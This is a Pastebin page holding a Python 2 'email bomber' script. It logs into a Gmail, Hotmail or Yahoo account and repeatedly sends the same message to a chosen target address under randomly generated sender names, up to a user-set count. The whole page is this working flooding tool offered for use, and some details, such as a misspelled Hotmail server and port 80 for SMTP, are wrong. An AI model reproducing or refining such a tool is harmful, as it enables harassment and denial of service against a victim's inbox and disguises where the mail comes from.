Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import random, smtplib, string, sys
- print 'Python Bomber - Version 1.0.0 - Coded by InvisibleMan'
- print 'Options : [gmail] [hotmail] [yahoo]\n'
- smtp = raw_input('SMTP : ')
- if smtp == 'gmail' :
- smtp = 'smtp.gmail.com:587'
- elif smtp == 'hotmail' :
- smtp = 'stmp.hotmail.com:80'
- elif smtp == 'yahoo' :
- smtp = 'smtp.yahoo.com:80'
- else :
- print '[ERROR] Invalid STMP Option!'
- raw_input()
- sys.exit(1)
- username = raw_input('Username : ')
- password = raw_input('Password : ')
- print '[WAIT] Connecting to SMTP '
- try :
- server = smtplib.SMTP(smtp)
- server.ehlo
- server.starttls()
- server.ehlo()
- server.login(username,password)
- except :
- print '[ERROR] Failed to connect to SMTP!'
- raw_input()
- sys.exit(1)
- print '[DONE] Connected to SMTP '
- target = raw_input('Target : ')
- msg = raw_input('Message : ')
- length = raw_input('Length : ')
- try :
- length = int(length)
- except :
- print '[ERROR] Fail to return a number from your choice!'
- raw_input()
- sys.exit(1)
- sent = 0
- while '' == '' :
- try :
- charArray = string.ascii_lowercase + string.ascii_lowercase
- getRandom = ''.join(random.sample(charArray,10))
- fromaddr = getRandom
- server.sendmail(fromaddr, target, msg)
- sent += 1
- print '[' + str(sent) + '/' + str(length) + '] Message sent!'
- if sent == length :
- server.quit()
- break
- except :
- print '[' + str(sent) + '/' + str(length) + '] Failed to send message!'
- raw_input()
- sys.exit(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement